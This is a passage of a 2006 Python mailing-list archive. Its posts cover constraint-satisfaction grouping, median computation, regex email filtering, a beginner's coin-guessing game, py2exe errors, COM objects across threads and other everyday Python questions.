<1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com> I'm trying to solve a constraint-satisfaction problem, and I'm having some troubles framing my problem in such a way that it can be efficiently solved. Basically, I want to build groups of two teachers and four students such that [1]: * Students are assigned to exactly one group * Teachers are assigned to approximately the same number of groups * Students are not in groups with their homeroom teachers * Students in each group are from four different homerooms So given teachers A, B, C, D, E and F and their corresponding students A1, A2, ... F3, F4, here's a good grouping: A, B: C1, D1, E1, F1 B, C: A1, D2, E2, F2 C, D: A2, B1, E3, F3 D, E: A3, B2, C2, F4 E, F: A4, B3, C3, D3 F, A: B4, C4, D4, E4 My current solution is to create a constraint satisfaction problem using python-constraint (http://labix.org/python-constraint) where there are variables for: * each student domain: group names * each group name domain: all pairs of teachers This works for simple problems, but because most of my constraints have to iterate over all students and/or all groups, this takes way too long on my real dataset (which has 300+ students). I thought about trying to reframe the problem so that there are variables for: * each group name domain: pairs of teachers X 4-tuples of students but that seems like it would be generating something like 15^2*300^4 items for the domain, which is clearly also going to be way too big. Any suggestions on how to speed things up? I've posted my current code_ and the tests_ in case anyone has the time to look at them. .. _code: http://ucsu.colorado.edu/~bethard/py/constraint/student_groups.py .. _tests: http://ucsu.colorado.edu/~bethard/py/constraint/test_student_groups.py Thanks! Steve [1] There are actually two other constraints that I omitted: * Some teachers cannot be placed in the same group, e.g. I might know that A cannot work with B or that E cannot work with F. * If you create a graph out of the teacher pairs from all the groups, the graph should not be disconnected. That is, the following grouping is bad because the teachers are disconnected: A, B: ... C, D: ... A, B: ... while this grouping would be okay: A, B: ... B, C: ... C, D: ... From idknow at gmail.com Wed Oct 11 22:25:58 2006 From: idknow at gmail.com (idknow at gmail.com) Date: 11 Oct 2006 19:25:58 -0700 Subject: Standard Forth versus Python: a case study In-Reply-To: <1160603937.392188.253250@m7g2000cwm.googlegroups.com> References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> Message-ID: <1160619958.438049.53390@h48g2000cwc.googlegroups.com> bearophileHUGS at lycos.com wrote: > John Doty: > > Yes. The efficient exact algorithms for this problem use *partial* > > sorts. The Forth one from the FSL is of this class (although I know of > > two better ones for big arrays). But it's tough to beat the efficiency > > of the approximate histogram-based method the Python stats module > > implements. > > The usual way to compute a true median with Python may be: > > def median(inlist): > newlist = sorted(inlist) > index = len(newlist) // 2 > if len(newlist) % 2: > return newlist[index] > else: > return (newlist[index] + newlist[index-1]) / 2.0 > [snip] no sort() is needed to calculate the median of a list. you just need one temp var. From fulvio at pc.jaring.my Thu Oct 19 06:31:59 2006 From: fulvio at pc.jaring.my (Fulvio) Date: Thu, 19 Oct 2006 18:31:59 +0800 Subject: a little about regex In-Reply-To: <1161183924.713254.173720@m73g2000cwd.googlegroups.com> References: <1161160990.381368.53770@m73g2000cwd.googlegroups.com> <1161183924.713254.173720@m73g2000cwd.googlegroups.com> Message-ID: <200610191831.59855.fulvio@pc.jaring.my> On Wednesday 18 October 2006 23:05, Ant wrote: > ? ? allow = re.compile(r'.*(?|$)') ?# negative lookbehind > ? ? if allow.search(adr): > ? ? ? ? return True > ? ? return False I'd point out that : allow = re.search(r'.*(?|$)',adr) Will do as yours, since the call to 're' class will do the compilation as here it's doing separately. > Though having the explicit allow and deny expressions may make what's > going on clearer than the fairly esoteric negative lookbehind. This makes me think that your point is truly correct. The option for my case is meant as "deny all except those are specified". Also may go viceversa. Therefore I should refine the way the filtering act. In fact the (temporarily) ignored score is the base of the method to be applied. Obviously here mainly we are talking about email addresses, so my intention is like the mailfilter concept, which means the program may block an entire domain but some are allowed and all from ".my" are allowed but not those from ".com.my" (mostly annoying emails :P ) At the sum of the view I've considered a flexible programming as much as I'm thinking that may be published some time to benefit for multiplatform user as python is. In such perspective I'm a bit curious to know if exist sites on the web where small program are welcomed and people like me can express all of their ignorance about the mode of using python. For such ignorance I may concour for the Nobel Price :) Also the News Group doesn't contemplate the idea to split into beginners and high level programmers (HLP). Of course the HLP are welcome to discuss on such NG :). F From johnjsal at NOSPAMgmail.com Thu Oct 26 11:03:58 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 26 Oct 2006 15:03:58 GMT Subject: cleaner way to write this? In-Reply-To: <7xslhccbkz.fsf@ruckus.brouhaha.com> References: <7xwt6o44um.fsf@ruckus.brouhaha.com> <%dO%g.151$1n3.4135@news.tufts.edu> <453fd983$0$12298$426a74cc@news.free.fr> <7xslhccbkz.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > Bruno Desthuilliers writes: >>> But if the user doesn't enter any text, I don't want the method to >>> return at all (even None). >> John, please re-read the FineManual(tm). None is the default return >> value of a function - even if there's no return statement. > > Correct, but if the user doesn't enter text, the function is supposed > to loop and prompt for text again, instead of returning. Yes, that's what I meant. I didn't want it to return *yet* until a value was entered. From breakfastea at gmail.com Sat Oct 7 05:21:57 2006 From: breakfastea at gmail.com (Camellia) Date: 7 Oct 2006 02:21:57 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: <1160211614.457906.231260@c28g2000cwb.googlegroups.com> References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> <1160158803.404425.316430@h48g2000cwc.googlegroups.com> <1160159206.781049.24930@c28g2000cwb.googlegroups.com> <1160168295.033649.163460@k70g2000cwa.googlegroups.com> <1160197715.045939.138760@b28g2000cwb.googlegroups.com> <1160211614.457906.231260@c28g2000cwb.googlegroups.com> Message-ID: <1160212917.606616.276430@i42g2000cwa.googlegroups.com> OK so this is the result after I taking everything I'm teached in this thread: print 'Predict Head or Tail in ten times coin thrown\nJust input \'h\' or \'t\' please\n' count = 0 user_input = [] while len(user_input) < 10: print '\nNo.', len(user_input)+1, ', h or t?' pre_user = raw_input() if pre_user not in ['t', 'h']: print '\njust enter \'h\' or \'t\' please' continue user_input.append(pre_user) count += 1 correct = 0 import random ini_guess = random.randrange(2) list_guess = ['t', 'h'] ini_guess = list_guess[ini_guess] # generate random initial guess for item in user_input: if item == 'h': if ini_guess == item: correct += 1 else: ini_guess = 'h' if item == 't': if ini_guess == item: correct += 1 else: ini_guess = 't' print '\n\nI got', correct, 'out of 10 correct.' raw_input('press enter to exit') Thanks for all the people who helped me:) Peace Kelvin From ptmcg at austin.rr._bogus_.com Mon Oct 23 15:46:42 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 23 Oct 2006 19:46:42 GMT Subject: Attempting to parse free-form ANSI text. References: Message-ID: "Frederic Rentsch" wrote in message news:mailman.972.1161608427.11739.python-list at python.org... >> Prints: >> This is a test string containing some ANSI sequences. >> Sequence 1: >> >> > I doubt we should concatenate numbers. Oof! No doubt. I should read my test output more closely! This is an artifact of using Combine to only recognize escape sequences with no intervening whitespace. Removing Combine solves this problem. -- Paul From fredrik at pythonware.com Fri Oct 20 01:16:39 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 07:16:39 +0200 Subject: Need help in Py2exe In-Reply-To: <1161318158.913494.69770@m7g2000cwm.googlegroups.com> References: <1161318158.913494.69770@m7g2000cwm.googlegroups.com> Message-ID: Kirt wrote: > ------------------------------------------------------------------------------- > When i run this as python setup.py py2exe. I get an main.exe file in > dist folder. But when i run the file i get an error -- > Traceback (most recent call last): > File "main.py", line 7, in ? > File "xml\sax\sax2exts.pyc", line 37, in make_parser > File "xml\sax\saxexts.pyc", line 77, in make_parser > xml.sax._exceptions.SAXReaderNotAvailable: No parsers found.. > > I think i am missing something in setup.py file. Can anyone help? there's a page on the py2exe site about tweaks necessary for specific modules: http://www.py2exe.org/index.cgi/WorkingWithVariousPackagesAndModules look for: If you're getting File "xml\sax\saxexts.pyc", line 77, in make_parser; xml.sax._exceptions.SAXReaderNotAvailable: No parsers found, read this From johnjsal at NOSPAMgmail.com Wed Oct 4 00:32:57 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 00:32:57 -0400 Subject: can't open chm files all of a sudden In-Reply-To: <45233927$0$1761$c3e8da3@news.astraweb.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> Message-ID: <45233a81$0$30748$c3e8da3@news.astraweb.com> John Salerno wrote: > Hi all. I apologize since this is only remotely Python related, but I > hope someone might now the solution. > > I tried opening my Python chm docs just now, as well as the one for > wxPython, and both are giving me an error dialog when I double-click > them and I can't open them. This happened apparently for no reason, just > today. I even reset but that didn't help. > > Does anyone know what might cause this, and if it could affect the rest > of Python or wxPython as well? > > Thanks. P.S. Here is part of the error, but not the long detailed section: AppName: hh.exe AppVer: 5.2.3790.2453 ModName: itss.dll ModVer: 5.2.3790.2453 Offset: 00006bec The same thing shows up for both files. From Leo.Kislov at gmail.com Mon Oct 30 03:54:57 2006 From: Leo.Kislov at gmail.com (Leo Kislov) Date: 30 Oct 2006 00:54:57 -0800 Subject: Lookuperror : unknown encoding : utf-8 References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> <1162194168.044962.262720@b28g2000cwb.googlegroups.com> <1162196598.260229.224100@e3g2000cwe.googlegroups.com> <1162197440.574405.195010@m7g2000cwm.googlegroups.com> Message-ID: <1162198497.288698.244940@k70g2000cwa.googlegroups.com> Sachin Punjabi wrote: > On Oct 30, 1:29 pm, Fredrik Lundh wrote: > > Sachin Punjabi wrote: > > > The OS is Windows XPthen your installation is seriously broken. where did you get the > > installation kit? have you removed stuff from the Lib directory ? > > > > > > It was already installed on my PC and I have no clue how it was > installed or any changes has been done. Then it's a distribution of your PC manufacturer. They could omit some modules like utf-8 codec. > I am just downloading newer > version from python.org and will install and check it. I think there > should be problem with installation itself. That's a right idea, I'd also recommend to leave the manufacturer's python distribution alone. Do not remove it, do not upgrade it. Some programs provided by the manufacturer can stop working. If the preinstalled python was installed into c:\python24 directory, choose some other directory when you install python from python.org. -- Leo From tejovathi.p at gmail.com Mon Oct 16 04:43:33 2006 From: tejovathi.p at gmail.com (Teja) Date: 16 Oct 2006 01:43:33 -0700 Subject: COM and Threads In-Reply-To: <1160725467.164675.318010@i42g2000cwa.googlegroups.com> References: <1160703286.841671.109210@b28g2000cwb.googlegroups.com> <1160712022_1597@sp6iad.superfeed.net> <1160713687.665650.221900@b28g2000cwb.googlegroups.com> <1160718073_1665@sp6iad.superfeed.net> <1160718935.372511.303470@m73g2000cwd.googlegroups.com> <1160724047_3201@sp6iad.superfeed.net> <1160725467.164675.318010@i42g2000cwa.googlegroups.com> Message-ID: <1160988213.107614.246830@i42g2000cwa.googlegroups.com> Teja wrote: > Roger Upole wrote: > > "Teja" wrote: > > > > > > Roger Upole wrote: > > > > > >> "Teja" wrote: > > >> > > > >> > Roger Upole wrote: > > >> > > > >> >> "Teja" wrote: > > >> >> >I have an application which uses COM 's Dispatch to create a COM based > > >> >> > object. Now I need to upgrade the application to a threaded one. But > > >> >> > its giving an error that COM and threads wont go together. Specifically > > >> >> > its an attribute error at the point where COM object is invoked. Any > > >> >> > pointers please?????? > > >> >> > > > >> >> > > >> >> An actual traceback would help. > > >> >> At a guess, when using COM in a thread > > >> >> you need to call pythoncom.CoInitialize and > > >> >> CoUninitialize yourself. > > >> >> > > >> >> Roger > > >> > > > >> > Actually Roger, this is the scenario.... > > >> > > > >> > I create a COM object at the beginnning of the main thread. In the sub > > >> > thread, I need to access the same instance of the COM object. If it > > >> > were a normal object ie. not a COM obj, i was able to do it. But if it > > >> > were a COM object, its giving an attribute error? Should I pass a COM > > >> > object to the thread. If so How? Please let me know ASAP... Thnks > > >> > > > >> > > >> To pass COM objects between threads, usually they'll need to be marshaled > > >> using pythoncom.CoMarshalInterThreadInterfaceInStream, and unmarshaled > > >> with pythoncom.CoGetInterfaceAndReleaseStream. > > >> > > >> Roger > > > > > > I really appreciate your quick reply....Can u please let me know how to > > > do marshalling and unmarshalling or any good refrences to do it. > > > Because i tried to do it. I got some errors ans so I left it... > > > > > > Thnks again... > > > > > > > Here's a simple example using Internet Explorer. > > > > import win32com.client, pythoncom, thread > > ie=win32com.client.Dispatch('internetexplorer.application') > > ie.Visible=1 > > > > def nav(istream, dest): > > pythoncom.CoInitialize() > > d=pythoncom.CoGetInterfaceAndReleaseStream(istream, pythoncom.IID_IDispatch) > > my_ie=win32com.client.Dispatch(d) > > my_ie.Navigate(dest) > > pythoncom.CoUninitialize() > > > > s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) > > thread.start_new_thread(nav, (s, 'www.google.com')) > > > > Roger > > Thnks a lot Roger, Its working gr8..Now, once the thread is started > with start_new_thread, is there any way to terminate it upon user's > request. I have explored and found out that there is no thread.kill(). > So wht to do now? > > Teja HI all, I have a problem in accesing COM objects in threads. To be precise, lets assume that I have a class GenericFunctions which is defined as follows: import win32com.client, pythoncom, thread ie=win32com.client.Dispatch('internetexplorer.application') ie.Visible=1 class GenericFunctions: def __init__(self): print "In Constructor of Generic Functions" def MyNavigate(self,dest): ie.Navigate(dest) Now there is another file Main.py which is defined as follows: import win32com.client, pythoncom, thread from GenericFunctions import * obj = GenericFunctions() class Mainclass: def __init__(self); print "In Constructor of Main class" def threadFunction(self,dest): pythoncom.CoInitialize() d=pythoncom.CoGetInterfaceAndReleaseStream(s, pythoncom.IID_IDispatch) my_ie=win32com.client.Dispatch(d) obj.func(dest) # this is gving an error. pythoncom.CoUninitialize() if __name__ == "__main__": s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,ie) thread.start_new_thread(self.nav, (s,'www.google.com') Basically, I want to access object of GenericFunctions class inside threadFunction(). However I was able to execute my_ie.Navigate("google.com"). But that was not I wanted. I am not knowing where the error is.... Please let me know the solution ASAP... Teja.P From horpner at yahoo.com Thu Oct 19 12:45:54 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 19 Oct 2006 18:45:54 +0200 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> Message-ID: On 2006-10-19, Brad wrote: > I'm home for lunch so my email addy is different. > > No, it doesn't happen very often, but when I need to reverse > something (usually a list or a string). I can never remember > right of the top of my head how to do so in Python. I always > have to Google for an answer or refer back to old code. > > IMO, I should be able to intuitively know how to do this. > Python is so user-friendly most every place else... why can it > not be so here? > > I wrote this so I'll never have to remember this again: > > def invert(invertable_object): > try: > print invertable_object[::-1] > return invertable_object[::-1] > except: > print 'Object not invertable' > return 1 > > invert([1,2,3,4]) > invert('string') > invert({1:2, 3:4}) Shoot, now you'll have to remember where in heck you stashed that function the next time you need to reverse something. ;-) You'll still be better off in the long run memorizing the slice notation. -- Neil Cerutti From horpner at yahoo.com Fri Oct 6 21:34:48 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Sat, 07 Oct 2006 01:34:48 GMT Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> <1160183076.034356.292780@i3g2000cwc.googlegroups.com> <1160184574.708331.78400@i3g2000cwc.googlegroups.com> Message-ID: On 2006-10-07, John Machin wrote: > > MonkeeSage wrote: >> On Oct 6, 8:02 pm, "MonkeeSage" wrote: >> > it is clearer to you to make the condition explicit ("blah not False"), >> >> "blah not False" -> "blah is False" > > Whichever way your team wants to interpret it, d00d. > > Please consider whether you should be writing "(blah is False) > is True", that would be more explicit. OK, now we're entering Daily WTF territory. ;) And in the original case, I'd agree that "if X.has_key():" is quite clear, already yielding a boolian value, and so doesn't need to be tested for if it's False. But I wouldn't like to test for an empty list or for None implicitly. -- Neil Cerutti From breakfastea at gmail.com Sat Oct 7 05:00:14 2006 From: breakfastea at gmail.com (Camellia) Date: 7 Oct 2006 02:00:14 -0700 Subject: humble coin head or tail game script I wrote In-Reply-To: References: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> <1160158803.404425.316430@h48g2000cwc.googlegroups.com> <1160159206.781049.24930@c28g2000cwb.googlegroups.com> <1160168295.033649.163460@k70g2000cwa.googlegroups.com> <1160197715.045939.138760@b28g2000cwb.googlegroups.com> Message-ID: <1160211614.457906.231260@c28g2000cwb.googlegroups.com> Steve Holden thank you for your kind words, they pumped me up:) I don't really know much about TDD however I googled it and found this: http://www.agiledata.org/essays/tdd.html Which is obvious too complicated. However I'll read through it anyway. Thank you for your advice:) Ant thank you for pointing that out, I made the little code too complicated. Well, actually this is the simplified version, the first one I did was like: list_1 = raw_input() list_2 = raw_input() ... list_10 = raw_input() and then I found I'm doing the computer's work... Thanks for all the kind people here Peace Kelvin Steve Holden wrote: > Camellia wrote: > > Oh I get it and ashamed, thank you for explaining it to me:) > > > > so I sould: > > ini_guess=random.randrange(2) > > .... > > for item in list: > > if item=='h': > > ... > > if item ==t': > > ... > > > Welcome to programming. You have learned, as many thousands have learned > before you, how easy it is to assume correct behaviour in something that > is, in fact, wrong. Those with an aptitude for the task accept with > humility (no need for shame, though, as inexperience is a valid excuse) > that they will continue to make errors they do not see. > > Your response to the corrections you received implies you have a future > as a programmer! > > You might also want to do some reading about test-driven development, > which can save some time hunting obscure bugs. > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden From steve at holdenweb.com Sun Oct 29 22:42:14 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 30 Oct 2006 03:42:14 +0000 Subject: importing class In-Reply-To: <1162140046.696622.295130@m7g2000cwm.googlegroups.com> References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com> <1162140046.696622.295130@m7g2000cwm.googlegroups.com> Message-ID: gmarkowsky at gmail.com wrote: > Thanks, I got that part. The problem I'm still having is that it's not > seeing things like text_1, which are defined in the program. How can I > make it see that? > Your module is intended to work with many different main programs, so it shouldn't make any assumptions about the names that the main program uses for things. That would be rather bad programming style ("rigind coupling" is something to be avoided where possible). I wouldn't call that class App just because it's misleading: maybe you could change the name to YesNo, or Choice, or something more indicative of its function? You could pass text_1 and text_2 as arguments to the class's __init__ method - that way you could just use them directly. > Another question I should ask is whether I should even bother doing > this. That is, it seems that the elegant and approved way of doing this > kind of thing may be to put a class in a module and then just use the > module over and over again in programs. I'm making a few GUIs which > present two options and ask the user to chose one, so I thought I could > just do it this way. Of course I could very easily just copy and paste > the class into each file, but that seems silly. I haven't had any > trouble using modules for functions, but for classes it is not working > right so far, and I'm having trouble finding examples to follow. > Seems like parameterization is the thing you are missing. Change the __init__ method declaration to def __init__(self, master, text_1="OK", text_2="Cancel"): ... leaving the rest of the code the same. (Though I note your module also fails to define a "command1" and "command2" function, this may just be because you are only quoting partial code). Then in your main program create the object with myDialog = YesNo(master, "Yes", "No") Looks like you are new to Python - perseverre and you will pick it up quite quickly! regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From breakfastea at gmail.com Fri Oct 6 14:05:09 2006 From: breakfastea at gmail.com (Camellia) Date: 6 Oct 2006 11:05:09 -0700 Subject: humble coin head or tail game script I wrote Message-ID: <1160157908.997499.289220@k70g2000cwa.googlegroups.com> Hi there this is an easy game which was inspired from my psychology class. I'll get 5/10 right prediction of your guess of head and tail at most time. If you could copy the code and run it that would be great:) code: ----------------------- # Head or Tail # # Get a list which contains 10 values from the user # let them predict Head Or Tail in ten times coin thrown # and then prdict the list by a fixed rule list = [] print 'Predict Head or Tail in ten times coin thrown\nJust input \'h\' or \'t\' please\n' count = 0 while True: count += 1 print '\nNo.', count, ', h or t? ' pre_user = raw_input() while pre_user != 'h' and pre_user != 't': print '\njust enter \'h\' or \'t\' please' print '\nNo.', count, ', h or t? ' pre_user = raw_input() list.append(pre_user) if count == 10: break correct = 0 import random ini_guess = random.randrange(1) list_guess = ['t', 'h'] ini_guess = list_guess[ini_guess] # generate random initial guess for item in list: if item == ini_guess: correct += 1 elif item == 'h': ini_guess = 't' elif item == 't': ini_guess == 'h' print '\n\nI got', correct, 'out of 10 correct.' raw_input('press enter to exit') -------------------------------------------- I know it looks stupid, but it's fun:) peace Kelvin From diffuser78 at gmail.com Tue Oct 24 10:27:14 2006 From: diffuser78 at gmail.com (Daniel) Date: 24 Oct 2006 07:27:14 -0700 Subject: Network Simulator in Python In-Reply-To: <1161656725.365967.305510@h48g2000cwc.googlegroups.com> References: <1161656725.365967.305510@h48g2000cwc.googlegroups.com> Message-ID: <1161700034.559096.131290@i42g2000cwa.googlegroups.com> Any help ? Daniel wrote: > Hi, > > I was wondering if anybody can give me pointers on an existing network > simulator in Python somthing like ns2 which would model all the real > world internet dynamics including TCP stacks, congestion, flow control > etc. > > Every help is appreciated, > > Thanks From ilias at lazaridis.com Tue Oct 10 23:49:01 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 10 Oct 2006 20:49:01 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> Message-ID: <1160538541.540371.133160@e3g2000cwe.googlegroups.com> Peter Maas wrote: > Bruno Desthuilliers schrieb: > > Marc 'BlackJack' Rintsch wrote: > > (snip) > > Python itself is a RAD tool. > > > > +1 QOTW > > No, please stop self-assuring, self-pleasing QOTWs! This afternoon > I was in the local book warehouse and went to the computer book > department. They had banned 2-3 Python books together with some > Perl- and C/C++ stuff into the last row. At the regular place I found > a huge pile of Java books and - in comparison to Java - a small but > growing number of books about Ruby in general, Ruby on Rails and - > new to me - JRuby. > > Now I don't think that Ruby is a bad language. But I think Python is > better and it started earlier. I don't know whether Ruby on Rails was > a fluke or the result of clever analysis. Since a large part of > programming is web programming it is not bad to have a good and visible > tool in place to attract programmers. It is also a good idea to hook on > Java's success but while Jython 2.2 is in alpha state since 3 years I > see an increasing number of books/articles telling how to migrate from > Java to (J)Ruby. Since I started using Python 4 years ago I hear Ruby > people announce with an amazing audacitiy that Ruby is bound to be number > one and will for sure leave Python behind. > > To prevent this to happen parts of the Python community should have a > more critical attitude to the language. Too often I hear the same > mantras being repeated over and over again (GIL, self, IDE etc.). I > don't say these mantras are all wrong but perhaps it would be good to > remove the GIL just to stop people talking about Python's lack of > multi-threading or polish Python's class syntax to stop people talking > about Python's OO being bolted on etc. Programmers often choose their > languages by very silly reasoning (silliest being the indentation issue) > and maybe we should take the silliness into account instead of laughing > about those silly folks. > > I for my part would be happy to see a Delphi-like RAD tool for Python, > a reference implementation for web programming as part of the standard > library, Jython 2.5, Python for PHP or whatever attracts new programmers. > > Peter Maas, Aachen well said. Based on a comment in this thread, I've just detected this one: http://code.enthought.com/ets/ http://code.enthought.com/envisage/ BSD2 licensed, so it's very attractive as a foundation for a joint-community-effort. _very_ interesting stuff, i've placed in on the list for a later review: http://case.lazaridis.com/wiki/Stack . From mail at microcorp.co.za Mon Oct 9 01:51:55 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Mon, 9 Oct 2006 07:51:55 +0200 Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <018601c6eb67$348db9a0$03000080@hendrik> "Lawrence D'Oliveiro" wrote: 8<-------------------------------------------------------- > I wonder if we need another "middle" field for holding the "bin/binte" part > (could also hold, e.g. "Van" for those names that use this). NOOOOO! - I think of my surname as "van Rooyen" - its only a string with a space in it - and its peculiar in that the first letter is not capitalised.... And I am sure that the people called "von Kardorff" would not agree either... - Hendrik van Rooyen From aisaac0 at verizon.net Wed Oct 4 21:30:22 2006 From: aisaac0 at verizon.net (David Isaac) Date: Thu, 05 Oct 2006 01:30:22 GMT Subject: yet another "groupsofn" function (newbie entertainment) Message-ID: I have not seen this posted and I kind of like it. Shared for entertainment value only. Alan Isaac PS Easily adapted if the residual group is not desired. def groupsofsize(iterable,size): itr = iter(iterable) c=count() for k,it in groupby(itr,lambda x:c.next()//size): yield tuple(y for y in it) From martin at v.loewis.de Sun Oct 22 00:46:55 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Sun, 22 Oct 2006 06:46:55 +0200 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development In-Reply-To: <1161490344.858999.291130@b28g2000cwb.googlegroups.com> References: <1161490344.858999.291130@b28g2000cwb.googlegroups.com> Message-ID: <453AF7BF.6060405@v.loewis.de> beliavsky at aol.com schrieb: > I wonder if the committee has really decided on a PROBLEM or BUG > tracker, not an "issue" tracker. For some silly reason, "issue" has > become a euphemism for "problem" nowadays. It is worth keeping in mind > the difference. Questions about the future direction of Python, such as > (for example) whether there should be optional static typing, are > "issues". Python crashing for some reason would be a "problem". Traditionally (i.e. on SF), we have been tracking three different kinds of things: bugs, patches, and "requests for enhancements". While bug reports clearly indicate problems, patches do not so necessarily. The patch, in itself, is not a "problem", instead, it is fortunate that somebody contributes to Python. Some patches are, of course, meant to solve some problem. One may argue that all patches are contributed because they solve a problem of the submitter. However, from a technical point of view, these distinctions are minor, and, indeed, it has been counter-productive to have different trackers for different kinds of "issues". So the roundup installation will likely have only a single tracker, with filters to find out whether the submissions include patches, and perhaps also whether the issue discussed is an enhancement or not. Regards, Martin From eurleif at ecritters.biz Tue Oct 3 15:55:12 2006 From: eurleif at ecritters.biz (Leif K-Brooks) Date: Tue, 03 Oct 2006 15:55:12 -0400 Subject: Looping over a list question In-Reply-To: References: Message-ID: <4522bff9$0$25792$4d3efbfe@news.sover.net> Tim Williams wrote: > Maybe > >>>> def myfunc(txt): > ... print txt > ... >>>> datafiles = ['1.txt','2.txt','3.txt','4.tst'] >>>> null = [myfunc(i) for i in datafiles if '.txt' in i] > 1.txt > 2.txt > 3.txt Ew. List comprehensions with side effects are very icky. From chandra82_tech at yahoo.com Mon Oct 9 16:30:09 2006 From: chandra82_tech at yahoo.com (Chandra) Date: 9 Oct 2006 13:30:09 -0700 Subject: How to execute a python script in .NET application In-Reply-To: <1160214391.120548.143740@c28g2000cwb.googlegroups.com> References: <1160175618.029261.43440@i3g2000cwc.googlegroups.com> <1160214391.120548.143740@c28g2000cwb.googlegroups.com> Message-ID: <1160425809.858985.23290@b28g2000cwb.googlegroups.com> Thanks all of them, i used the command line process (executing the script in cmd shell) method for executing python script. Regards, Chandra Gerard Flanagan wrote: > Chandra wrote: > > > Hi, > > > > Is there a way to execute a python script(file) in ASP.NET application > > (programmatically)?? > > > > Regards, > > Chandra > > > I thought IIS would prevent this, but the following works for me at > home (ASP.NET 1.1). A production setup may be a different matter. > > using System.Diagnostics > > public class WebForm1 : System.Web.UI.Page > { > protected System.Web.UI.WebControls.Label Label1; > > private void Page_Load(object sender, System.EventArgs e) > { > ProcessStartInfo startInfo; > Process process; > string directory = @"c:\python\python24\Lib\site-packages"; > string script = "test.py"; > > startInfo = new ProcessStartInfo("python"); > startInfo.WorkingDirectory = directory; > startInfo.Arguments = script; > startInfo.UseShellExecute = false; > startInfo.CreateNoWindow = true; > startInfo.RedirectStandardOutput = true; > startInfo.RedirectStandardError = true; > > process = new Process(); > process.StartInfo = startInfo; > process.Start(); > > string s; > while ((s = process.StandardOutput.ReadLine()) != null) > { > Label1.Text += s; > } > } > } From rdiaz02 at gmail.com Sun Oct 29 04:29:29 2006 From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte) Date: Sun, 29 Oct 2006 10:29:29 +0100 Subject: What's the best IDE? In-Reply-To: <87pscefzti.fsf@benfinney.id.au> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> <87pscefzti.fsf@benfinney.id.au> Message-ID: <624934630610290129j1ce07517ib9385ba69efbd945@mail.gmail.com> On 10/26/06, Ben Finney wrote: > Harry George writes: > > > John Salerno writes: > > > Yeah, it was all the customizing that I could never figure out. > > > > years ago this worked for people I was supporting: > > set softtabstop=4 shiftwidth=4 expandtab > > That's all I've ever needed vim to do with my Python code (apart from > the syntax highlighting, which works by default when I've tried it). > > > Personally, I'm an emacs guy, so I wouldn't know. > > Should I start another thread about python-mode and how annoying it is? > Ben, as an Emacs guy tempted by Vim I'd definitely like to know what you find annoying about python-mode, and how Vim does not annoy you here. If this answer might risk leading the thread somewhere we don't want, I'd anyway by very interested in a private email. Best, R. > -- > \ "If you get invited to your first orgy, don't just show up | > `\ nude. That's a common mistake. You have to let nudity | > _o__) 'happen.'" -- Jack Handey | > Ben Finney > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Ramon Diaz-Uriarte Statistical Computing Team Structural Biology and Biocomputing Programme Spanish National Cancer Centre (CNIO) http://ligarto.org/rdiaz From skip at pobox.com Mon Oct 30 13:53:57 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 30 Oct 2006 12:53:57 -0600 Subject: Python 123 introduction In-Reply-To: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> References: <1162230329.413075.93370@b28g2000cwb.googlegroups.com> Message-ID: <17734.19013.487093.23589@montanaro.dyndns.org> dakman> This is great! A excellent tutorial for somone who has prior dakman> experience in programming and is starting out in python. My dakman> friend keeps wanting me to teach him python, I think this would dakman> be the perfect link for him. I'm not trying to minimize Jeremy's efforts in any way, but how is his tutorial a significant improvement over the original (http://www.python.org/doc/current/tut/)? Skip From horpner at yahoo.com Thu Oct 5 18:35:19 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 05 Oct 2006 22:35:19 GMT Subject: Strange sorting error message References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com> <1160085635.215544.96580@h48g2000cwc.googlegroups.com> Message-ID: On 2006-10-05, Dustan wrote: > > Steve Holden wrote: 